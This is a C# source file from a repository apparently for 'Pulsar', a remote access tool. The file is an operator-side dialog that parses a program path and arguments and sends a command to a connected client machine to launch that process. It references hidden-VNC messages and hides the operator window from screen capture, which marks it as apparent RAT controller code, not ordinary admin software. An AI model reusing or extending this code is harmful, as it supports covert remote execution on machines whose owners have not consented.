Files
PulsarK-main/Pulsar.Server/Forms/FrmCustomFileStarter.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

87 lines
3.1 KiB
C#

using Pulsar.Common.Messages.Monitoring.HVNC;
using Pulsar.Common.Messages.Other;
using Pulsar.Server.Forms.DarkMode;
using Pulsar.Server.Networking;
using System;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Server.Forms
{
public partial class FrmCustomFileStarter : Form
{
private readonly Client _client;
private readonly Type _messageType;
private readonly bool _shouldParse;
public FrmCustomFileStarter(Client c, Type messageType, bool shouldParse = true)
{
_client = c;
_messageType = messageType;
_shouldParse = shouldParse;
InitializeComponent();
DarkModeManager.ApplyDarkMode(this);
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
}
private void btnStart_Click(object sender, EventArgs e)
{
var (program, arguments) = ParseProgramAndArguments(txtBoxPathAndArgs.Text);
var message = Activator.CreateInstance(_messageType);
var propPath = _messageType.GetProperty("Path");
var propArgs = _messageType.GetProperty("Arguments");
if (propPath != null && propPath.CanWrite)
{
propPath.SetValue(message, program);
}
if (propArgs != null && propArgs.CanWrite)
{
propArgs.SetValue(message, arguments);
}
_client.Send((IMessage)message);
//start a new thread for the message box so it's non-blocking
Task.Run(() =>
{
MessageBox.Show($"Sent message to start process:\nProgram: {program}\nArguments: {arguments}\n\nThis form is used for multiple other things so sometimes Arguments will be blank don't worry if it is", "Process Start", MessageBoxButtons.OK, MessageBoxIcon.Information);
});
}
/// <summary>
/// Parses a command line string into program and arguments, handling quotes.
/// </summary>
private (string program, string arguments) ParseProgramAndArguments(string input)
{
if (string.IsNullOrWhiteSpace(input))
return (string.Empty, string.Empty);
if (!_shouldParse)
return (input.Trim(), string.Empty);
input = input.Trim();
if (input.StartsWith("\""))
{
// Match quoted program path
var match = Regex.Match(input, "^\"([^\"]+)\"(.*)$");
if (match.Success)
{
string program = match.Groups[1].Value;
string arguments = match.Groups[2].Value.TrimStart();
return (program, arguments);
}
}
// No quotes, split on first whitespace
int firstSpace = input.IndexOf(' ');
if (firstSpace == -1)
return (input, string.Empty);
string prog = input.Substring(0, firstSpace);
string args = input.Substring(firstSpace + 1).TrimStart();
return (prog, args);
}
}
}